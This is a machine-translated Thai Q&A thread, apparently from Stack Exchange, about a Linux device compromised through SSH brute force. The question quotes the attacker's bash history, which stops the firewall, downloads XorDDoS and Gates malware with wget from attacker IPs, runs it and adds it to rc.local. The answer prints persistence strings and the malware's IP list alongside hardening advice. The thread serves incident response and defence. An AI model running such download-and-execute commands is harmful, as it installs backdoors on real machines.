ฉันเพิ่งถูกแฮกหรือไม่


492

ฉันกำลังพัฒนาผลิตภัณฑ์สำหรับผู้บริโภคและควรจะเชื่อมต่อกับอินเทอร์เน็ตอย่างที่คาดไว้มันเชื่อมต่อกับอินเทอร์เน็ตเพื่อให้ฉันสามารถพัฒนาได้อย่างถูกต้อง

ฉันออกไปหนึ่งหรือสองชั่วโมงและเมื่อฉันกลับมาที่สำนักงานของฉันฉันสังเกตเห็นคำสั่งแปลก ๆ ที่เขียนในเทอร์มินัล

ดูล็อกไฟล์ Linux ที่ชื่อauth.logฉันเห็นบรรทัดต่อไปนี้ (ในหมู่อื่น ๆ อีกมากมาย):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

ที่อยู่ IP 40.127.205.162เปลี่ยนจากการเป็นเจ้าของโดยไมโครซอฟท์

ต่อไปนี้เป็นคำสั่งมากมายที่ใช้ขณะที่ฉันไม่อยู่:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

และอื่น ๆ:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

ฉันไม่รู้สิ่งนี้อย่างสมบูรณ์ ฉันจะรักษาความปลอดภัยผลิตภัณฑ์ของฉันอย่างถูกต้องได้อย่างไร?

ฉันต้องการโพสต์auth.logไฟล์ที่สมบูรณ์ ฉันจะทำอย่างไร

นอกจากนี้ไฟล์yjz1ที่ถูกดาวน์โหลดดูเหมือนจะเป็น Linux Trojan และทั้งหมดนี้น่าจะทำโดยกลุ่มแฮ็กเกอร์บางประเภทตามhttp://anti-hacker-alliance.com/index.php?ip=40.127.205.162

ฉันควรโทรไปที่ Microsoft และคุยกับพวกเขาหรือไม่ ฉันควรทำอย่างไร?


40
ใช่ว่าดูไม่ดีเกินไป ฉันไม่ได้เป็นผู้เชี่ยวชาญใน Linux แต่อย่างใด แต่ก็พยายามที่จะดำเนินการอย่างแน่นอน ฉันไม่แน่ใจว่ามันดูเหมือนว่ามันพยายามที่จะเข้าสู่ระบบในฐานะที่เป็นรากและล้มเหลว มีบันทึกอื่น ๆ ใน auth.log ของคุณหรือไม่ วิธีการอื่นของผู้ดูแลระยะไกล? ฉันเคยเห็น Mac ที่เปิดใช้งานเซิร์ฟเวอร์ VNC แล้วถูกแฮ็กก่อนหน้านั้นแม้ว่านี่จะเป็นความพยายามของ SSH ก็ตาม ดูเหมือนว่า IP ที่ดาวน์โหลดมานั้นโฮสต์อยู่ในประเทศจีน
Jonno

68
คุณถูกบังคับให้ดุร้าย นี่คือเหตุผลที่ไม่มีเซิร์ฟเวอร์ ssh บนอินเทอร์เน็ตแม้ว่าคุณจะมีรหัสผ่าน สิ่งที่ขาดการรับรองความถูกต้องของรหัสไม่ปลอดภัยเพียงพอ
Journeyman Geek

80
ดีที่เรามีsecurity.stackexchange.com แต่สิ่งแรกสิ่งแรก: โฮสต์ที่ถูกบุกรุกไม่สามารถเชื่อถือได้อีกต่อไป ถอดออกจากเครือข่าย หากเป็นไปได้ให้สำรองข้อมูลเพื่อให้คุณสามารถวิจัยสิ่งที่ทำและวิธีการสำรองข้อมูล ถัดไปติดตั้งระบบปฏิบัติการจากแหล่งที่สะอาด กู้คืนข้อมูลจากการสำรองข้อมูล รักษาความปลอดภัยระบบเพื่อให้คุณไม่ติดเชื้ออีกครั้ง การค้นหาว่าพวกเขาได้รับการแนะนำอย่างไร (ดังนั้นคำแนะนำในการทำสำเนาของระบบที่ติดเชื้อ)
Hennes

84
FYI: 40.127.205.162 เป็นที่อยู่ IP ของ Microsoft Azureตาม GeoIP ดังนั้นคุณไม่สามารถตำหนิ Microsoft สำหรับการโจมตี - มันเทียบเท่ากับตำหนิ Amazon เพราะมีคนใช้ EC2 สำหรับสแปม สิ่งเดียวที่ Microsoft ทำได้จริง ๆ คือกำจัดผู้โจมตีออกจาก Azure แต่พวกเขาจะกลับมาบนแพลตฟอร์มคลาวด์ที่แตกต่างกันในเวลาไม่นาน
nneonneo

41
ในความเป็นจริงถ้าสิ่งนี้เขียนขึ้นในเทอร์มินัลของคุณแฮ็กเกอร์อาจกำลังนั่งอยู่ในห้องเล็ก ๆ ถัดไป
isanae

คำตอบ:


487

แก้ไข 2 :

มีเหตุผลหนึ่งที่ดีว่าทำไมโพสต์นี้ดึงดูดความสนใจมาก: คุณจัดการบันทึกทั้งหมดเซสชันสดของผู้บุกรุกบนพีซีของคุณ นี่แตกต่างอย่างมากจากประสบการณ์ในชีวิตประจำวันของเราที่เราจัดการกับการค้นพบผลที่ตามมาจากการกระทำของเขาและพยายามแก้ไขพวกเขา ที่นี่เราเห็นเขาในที่ทำงานเห็นเขามีปัญหาบางอย่างกับการสร้างแบ็คดอร์, ย้อนกลับขั้นตอนของเขาทำงานอย่างมีไข้ (อาจเป็นเพราะเขากำลังนั่งอยู่ที่โต๊ะทำงานของคุณตามที่แนะนำข้างต้นหรือบางทีและในความคิดของฉัน ไม่สามารถทำให้มัลแวร์ของเขาทำงานบนระบบอ่านด้านล่าง) และพยายามปรับใช้เครื่องมือควบคุมแบบครบวงจร นี่คือสิ่งที่นักวิจัยด้านความปลอดภัยเป็นสักขีพยานในชีวิตประจำวันของพวกเขากับดักน้ำผึ้ง สำหรับฉันนี่เป็นโอกาสที่หายากมากและเป็นที่มาของความบันเทิง


คุณถูกแฮ็คอย่างแน่นอน หลักฐานนี้ไม่ได้มาจากตัวอย่างของauth.logไฟล์ที่คุณแสดงเพราะรายงานความพยายามในการเข้าสู่ระบบไม่สำเร็จซึ่งเกิดขึ้นในช่วงเวลาสั้น ๆ (สองวินาที) คุณจะสังเกตเห็นว่าบรรทัดที่สองระบุFailed passwordในขณะที่สามรายงานการpre-authเชื่อมต่อ: คนพยายามและล้มเหลว

หลักฐานมาจากเนื้อหาของไฟล์ทั้งสอง http://222.186.30.209:65534/yjzและhttp://222.186.30.209:65534/yjz1ผู้โจมตีดาวน์โหลดลงระบบของคุณ

ไซต์นี้เปิดให้ทุกคนดาวน์โหลดได้ซึ่งฉันทำ ฉันวิ่งไปfileที่พวกเขาครั้งแรกซึ่งแสดงให้เห็นว่า:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

จากนั้นฉันก็นำมันไปสู่ ​​Debian VM 64 บิตที่ฉันมี การตรวจสอบเนื้อหาของพวกเขาผ่านstringsคำสั่งเผยให้เห็นมากว่าน่าสงสัย (อ้างอิงถึงการโจมตีที่รู้จักกันดีต่างๆเพื่อคำสั่งที่จะใช้แทนสคริปต์ที่ใช้ชัดเจนในการตั้งค่าบริการใหม่และอื่น ๆ )

จากนั้นฉันสร้างแฮช MD5 ของไฟล์ทั้งสองและส่งไปยังฐานข้อมูลแฮชของ Cymruเพื่อดูว่าพวกเขารู้จักเอเจนต์ของมัลแวร์หรือไม่ ในขณะที่yjzไม่yjz1เป็นอยู่และ Cymru รายงานความน่าจะเป็นของการตรวจจับโดยซอฟต์แวร์ป้องกันไวรัส 58% นอกจากนี้ยังระบุว่าไฟล์นี้มีการเห็นล่าสุดเมื่อสามวันที่ผ่านมาดังนั้นจึงเป็นเหตุผลล่าสุด

การเรียกใช้clamscan (ส่วนหนึ่งของclamavแพ็คเกจ) ในสองไฟล์ที่ฉันได้รับ:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

ตอนนี้เรามั่นใจแล้วว่าซอฟต์แวร์มาตรฐานของ Linux สามารถระบุได้

คุณควรทำอะไร?

แม้ว่าจะค่อนข้างใหม่ระบบไม่เป็นใหม่มากเห็นนี้มกราคม 2015 บทความเกี่ยวกับ XorDdosตัวอย่างเช่น แพ็คเกจฟรีส่วนใหญ่ควรจะสามารถลบออกได้ clamavคุณควรลอง: rkhunter, chkrootkit, ฉันได้ Googled ไปรอบ ๆ และเห็นว่าพวกเขาอ้างว่าสามารถมองเห็นได้ ใช้พวกเขาเพื่อตรวจสอบการทำงานของรุ่นก่อน แต่หลังจากรันโปรแกรมทั้งสามนี้แล้วคุณควรพร้อมใช้งาน

สำหรับคำถามที่ใหญ่กว่าwhat should you do to prevent future infectionsคำตอบของ Journeyman เป็นก้าวแรกที่ดี เพียงจำไว้ว่ามันเป็นการดิ้นรนอย่างต่อเนื่องสิ่งที่พวกเราทุกคน (รวมถึงฉัน!) อาจจะสูญเสียไปโดยที่ไม่รู้ตัว

แก้ไข :

ที่พรอมต์ของ Viktor Toth (ทางอ้อม) ฉันต้องการเพิ่มความคิดเห็น เป็นเรื่องจริงที่ผู้บุกรุกจะพบกับปัญหา: เขาดาวน์โหลดเครื่องมือแฮ็กสองตัวที่แตกต่างกันเปลี่ยนการอนุญาตหลาย ๆ ครั้งรีสตาร์ทหลายครั้งและลองหลายครั้งเพื่อปิดไฟร์วอลล์ มันง่ายที่จะเดาว่าเกิดอะไรขึ้น: เขาคาดหวังว่าเครื่องมือแฮ็คของเขาจะเปิดช่องทางการสื่อสารไปยังหนึ่งในพีซีที่ติดเชื้อของเขา (ดูในภายหลัง) และเมื่อเขาไม่เห็นช่องทางใหม่นี้เกิดขึ้นบน GUI ควบคุมของเขา เครื่องมือกำลังถูกบล็อกโดยไฟร์วอลล์ดังนั้นเขาจึงทำซ้ำขั้นตอนการติดตั้ง ฉันเห็นด้วยกับ Viktor Toth ว่าระยะนี้ของการผ่าตัดของเขาดูเหมือนจะไม่นำผลไม้ที่คาดหวังมาให้ แต่ฉันอยากจะสนับสนุนคุณอย่างมาก ไม่ดูถูกดูแคลนขอบเขตของความเสียหายที่บาดแผลบนพีซีของคุณ

ฉันให้ผลลัพธ์บางส่วนที่นี่strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

สิ่งนี้แสดงหลักฐานของการแก้ไขดัดแปลงบริการ (ใน/etc/init.dและใน/etc/rc.d) พร้อมcrontabกับไฟล์ประวัติของmysqlและไฟล์สองสามไฟล์procที่เป็นลิงก์ไปยังbash(ซึ่งแนะนำรุ่นของเชลล์ที่คุณทำขึ้นมาโดยฉ้อโกง) จากนั้นโปรแกรมจะสร้างคำขอ HTTP (ไปยังไซต์ที่พูดภาษาจีน

 Accept-Language: zh-cn

ซึ่งให้ความสำคัญกับความคิดเห็นของ David Schwartz ด้านบน) ซึ่งอาจสร้างความเสียหายได้มากขึ้น ในคำขอContent-Type: application/x-www-form-urlencodedจะต้องดาวน์โหลดไบนารี ( ) ไปยังพีซีที่ถูกโจมตี (GET) และอัปโหลดไปยังเครื่องควบคุม (POST) ฉันไม่สามารถสร้างสิ่งที่จะถูกดาวน์โหลดไปยังพีซีที่ถูกโจมตี แต่ด้วยขนาดที่เล็กของทั้งสองyjzและyjz1(1.1MB และ 600kB, repectively) ฉันสามารถเสี่ยงที่จะคาดเดาว่าไฟล์ส่วนใหญ่ที่จำเป็นในการซ่อนรูทคิทเช่นการเปลี่ยนแปลง รุ่นls, netstat, ps, ifconfig, ... , จะได้รับการดาวน์โหลดด้วยวิธีนี้ และนี่จะอธิบายถึงความพยายามของผู้โจมตีที่จะทำให้การดาวน์โหลดนี้ดำเนินต่อไป

ไม่มีความมั่นใจว่าสิ่งที่กล่าวมาหมดความเป็นไปได้ทั้งหมด: แน่นอนเราขาดส่วนหนึ่งของการถอดเสียง (ระหว่างบรรทัด 457 ถึง 481) และเราไม่เห็นการออกจากระบบ นอกจากนี้โดยเฉพาะอย่างยิ่งที่น่าเป็นห่วงคือเส้น 495-497

cd /tmp;  ./yd_cd/make

ซึ่งอ้างถึงไฟล์ที่เราไม่เห็นดาวน์โหลดและซึ่งอาจเป็นการรวบรวม: ถ้าเป็นเช่นนั้นก็หมายความว่าผู้โจมตีได้ (ในที่สุด?) เข้าใจว่าปัญหากับ executables ของเขาคืออะไรและพยายามที่จะแก้ไขมันในกรณีที่ โจมตีพีซีได้หายดี [อันที่จริงมัลแวร์สองเวอร์ชันที่ผู้โจมตีดาวน์โหลดลงบนเครื่องที่ถูกแฮ็ก (และฉันลงบน 64 บิต Debian VM ของฉัน) สำหรับสถาปัตยกรรมที่ไม่เหมาะสมคือ x86 ในขณะที่ชื่อเพียงอย่างเดียวของพีซีที่ถูกแฮ็กเข้านั้น เขากำลังจัดการกับสถาปัตยกรรมแขน]

เหตุผลที่ฉันเขียนการแก้ไขนี้เพื่อกระตุ้นให้คุณอย่างมากที่สุดเท่าที่จะทำได้เพื่อหวีระบบของคุณด้วยเครื่องมือระดับมืออาชีพหรือติดตั้งใหม่ตั้งแต่ต้น

และโดยวิธีการนี้ควรพิสูจน์ว่ามีประโยชน์กับทุกคนนี่คือรายการของที่อยู่ IP 331ที่yjzพยายามเชื่อมต่อ รายการนี้มีขนาดใหญ่เพื่อ (และอาจจะลิขิตให้กลายเป็นใหญ่ยังคง) mysqlที่ผมเชื่อว่านี่คือเหตุผลสำหรับการปลอมแปลงด้วย รายการที่จัดทำโดยแบ็คดอร์คนอื่นนั้นเหมือนกันซึ่งฉันคิดว่าเป็นเหตุผลที่ทำให้ข้อมูลสำคัญชิ้นนั้นอยู่ในที่โล่ง (ฉันคิดว่าผู้โจมตีไม่ต้องการเก็บไว้ในรูปแบบเคอร์เนลดังนั้น เขาใส่รายชื่อทั้งหมดลงในไฟล์ข้อความที่ชัดเจนซึ่งน่าจะอ่านโดยแบ็คดอร์ทั้งหมดของเขาไม่ว่าระบบปฏิบัติการใดก็ตาม):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

รหัสต่อไปนี้

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

ในรายการด้านบนแสดงให้เห็นว่า302จากที่อยู่ทั้งหมด331ที่อยู่ในจีนแผ่นดินใหญ่ที่เหลืออยู่ในฮ่องกง, มองโกเลีย, ไต้หวัน นี่เป็นการเพิ่มการสนับสนุนเพิ่มเติมให้กับการโต้แย้งของ David Schwartz ซึ่งส่วนใหญ่เป็นแหวนบอทจีน

แก้ไข 3

ตามคำขอของ @ vaid (ผู้เขียน OP อ่านความคิดเห็นของเขาด้านล่าง) ฉันจะเพิ่มความคิดเห็นเกี่ยวกับวิธีการเสริมสร้างความปลอดภัยของระบบ Linux พื้นฐาน (สำหรับระบบที่ให้บริการมากมายนี่เป็นหัวข้อที่ซับซ้อนกว่ามาก) vaidรัฐเขาทำต่อไปนี้:

  1. ติดตั้งระบบอีกครั้ง

  2. เปลี่ยนรหัสผ่านรูทเป็นรหัสผ่านแบบยาว 16 ตัวอักษรโดยใช้ตัวอักษรและตัวเลขและตัวพิมพ์เล็กและตัวใหญ่ผสมกัน

  3. เปลี่ยนชื่อผู้ใช้เป็นชื่อผู้ใช้แบบยาว 6 ตัวอักษรและใช้รหัสผ่านเดียวกับที่ใช้กับรูท

  4. เปลี่ยนพอร์ต SSH เป็นอะไรที่สูงกว่า 5,000

  5. ปิดการเข้าสู่ระบบรูท SSH

นี่ใช้ได้ (ยกเว้นฉันใช้พอร์ตที่สูงกว่า 10,000 เนื่องจากโปรแกรมที่มีประโยชน์มากมายใช้พอร์ตต่ำกว่า 10,000) แต่ฉันไม่สามารถเน้นความจำเป็นที่จะต้องใช้คีย์การเข้ารหัสลับสำหรับการเข้าสู่ระบบ sshแทนรหัสผ่านได้ ฉันจะยกตัวอย่างให้คุณ ในหนึ่งใน VPSes ของฉันฉันไม่แน่ใจว่าจะเปลี่ยนพอร์ต ssh หรือไม่ ฉันทิ้งไว้ที่ 22 แต่ใช้คีย์ crypto เพื่อตรวจสอบสิทธิ์ ฉันมีความพยายามหลายร้อยครั้งต่อวันแต่ก็ไม่ประสบความสำเร็จ เมื่อเบื่อที่จะตรวจสอบรายวันว่าไม่มีใครประสบความสำเร็จในที่สุดฉันก็เปลี่ยนพอร์ตเป็นอะไรที่มากกว่า 10,000 ครั้งความพยายามบุกเข้าไปที่ศูนย์ โปรดทราบว่าไม่ใช่แฮ็กเกอร์ที่โง่ (ไม่ใช่!) พวกเขาแค่ล่าเหยื่อได้ง่ายขึ้น

มันง่ายต่อการเปิดใช้งานคีย์ crypto ด้วย RSA เป็นอัลกอริธึมลายเซ็นดูความคิดเห็นด้านล่างโดย Jan Hudec (ขอบคุณ!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

ตอนนี้สิ่งที่คุณต้องทำคือการคัดลอกไฟล์id_rsaไปยังเครื่องที่คุณต้องการเชื่อมต่อ (ในไดเรกทอรี.sshเช่นchmod'ed ถึง 700) จากนั้นออกคำสั่ง

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

เมื่อคุณแน่ใจว่าใช้งานได้ให้แก้ไขบนเซิร์ฟเวอร์ (= เครื่องที่คุณต้องการเชื่อมต่อ) ไฟล์/etc/ssh/sshd_configและเปลี่ยนสาย

#PasswordAuthentication yes

ไปยัง

PasswordAuthentication no

และเริ่มsshบริการ ( service ssh restartหรือsystemctl restart sshหรืออะไรทำนองนี้ทั้งนี้ขึ้นอยู่กับ distro)

สิ่งนี้จะทนได้มาก ในความเป็นจริงขณะนี้ไม่มีการหาประโยชน์ที่รู้จักกันกับรุ่นปัจจุบันของและของอาร์เอสเป็นลูกจ้างโดยopenssh v2openssh v2

สุดท้ายเพื่อที่จะโบยเครื่องของคุณจริงๆคุณจะต้องกำหนดค่าไฟร์วอลล์ (netfilter / iptables) ดังนี้:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

นี่คือ 1) อนุญาตการเชื่อมต่อ ssh จากทั้ง LAN และ WAN, 2) อนุญาตให้อินพุตทั้งหมดที่มาจากคำขอของคุณ (เช่นเมื่อคุณโหลดหน้าเว็บ) 3) ปล่อยทุกอย่างลงบนอินพุต 4) อนุญาตทุกอย่างบน เอาต์พุตและ 5-6) อนุญาตให้ทุกอย่างในอินเทอร์เฟซย้อนกลับ

เมื่อความต้องการของคุณเพิ่มขึ้นและจำเป็นต้องเปิดพอร์ตมากขึ้นคุณสามารถทำได้โดยการเพิ่มที่ด้านบนของรายการกฎเช่น:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

เพื่ออนุญาตให้ผู้ใช้อินสแตนซ์เข้าถึงเว็บเบราว์เซอร์ของคุณ


11
เป็นการอ่านที่ยอดเยี่ยม ฉันลองไฟล์yjz1ผ่าน Googles VirusTotal.comซึ่งให้ผลในเชิงบวก ฉันไม่เห็นด้วยซ้ำว่าyjzมีการดาวน์โหลดมา ขอบคุณ
vaid

34
ใช้ความระมัดระวังstringsกับข้อมูลที่ไม่น่าเชื่อถือ lcamtuf.blogspot.com/2014/10/…
Matt Nordhoff

5
